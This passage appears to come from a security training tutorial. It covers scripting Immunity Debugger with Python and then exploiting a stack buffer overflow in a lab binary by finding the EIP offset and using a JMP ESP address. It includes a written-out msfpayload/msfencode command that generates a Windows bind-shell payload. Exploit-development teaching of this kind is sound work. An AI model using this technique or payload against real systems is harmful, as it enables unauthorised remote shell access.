5574In order to leverage the rich set of APIs that Immunity provides, import the immlib which ships with the Immunity framework. At this instance write a simple script that simply prints hello in the main method. To run the script write the name of the script preceded by the exclamation mark e.g !spse-demo. You can also write to the Log window by:
5575imm.log(“Anything to log”)
5576
5577Now the problem with the debugger is that it prints all the messages at the end of the script execution, which is quite hectic if you are writing a long script which requires incremental updates. To serve the purpose use imm.updateLog() method so that the Log is updated instantly.
5578
5579Our command will also be visible in the List of PyCommands which are available in the Immunity.
5580
5581
5582To run a process we need to open the process in Immunity Debugger and run it as shown earlier, what if we want to run the same process programmatically.
5583
5584Create a new python script naming spse-pro.py similarly as in the previous example. Open the process by imm.openProcess(“path to the binary”) e.g my binary was C:\Server-Strcpy.exe
5585
5586
5587Similarly, you can attach the Immunity Debugger to an already running process by the imm.Attach(pid) method.
5588
5589Now inside a running process we need to get a list of modules, and for each of these modules we need to get a set of properties like Name, Base Address, Entry Point, and Size of that process. Useful methods are getAllModules and its child methods which are elaborated in the Immunity's online documentation.
5590
5591
5592
5593
5594Now we will use the Immunity Debugger to actually exploit the buffer overflow.
5595
5596As we know the stack grows from high-memory to low-memory. When we send a large buffer to our program/binary the return address is over-written, the EIP ends up with a garbage value and the program crashed. The idea is to specially craft the buffer in a way to over-write the return address with a chosen value, which is the payload we want to execute on that machine.
5597
5598To start, we'll revisit our old python script and a metasploit utility patter_creat.rb to create a random pattern of 500 characters.
5599
5600
5601
5602Place this pattern in the python attack script, run the server in the Immunity, run the attack script. See that the binary has crashed and the EIP is populated with the value 6A413969. Now we need to find at which offset this value is in our pattern, pattern_offset.rb will server the purpose.
5603
5604
5605
5606From this we know the value from offset 268 precisely corrupts the EIP. Meaning we really don't care about the first 268 bytes of the buffer, what we need to focus is the return address.
5607
5608Now next to EIP there is ESP register, we will populate the ESP with our payload and place a jump ESP instruction in the EIP register. The OPCode for the JUMP ESP instruction is 71AB7BFB, which we will append to our buffer in reverse order, as the bytes are stored in reverse order in stack. For payload we use metsploit to generate our payload and encode it for x86 architecture. Following command will suffice
5609
5610---------------------------Type This-----------------------------------
5611
5612msfpayload windows/shell_bind_tcp R | msfencode -a x86 -b “\x90” -t c
5613-----------------------------------------------------------------------
5614
5615This will generate a payload, append it to the buffer and run the script again.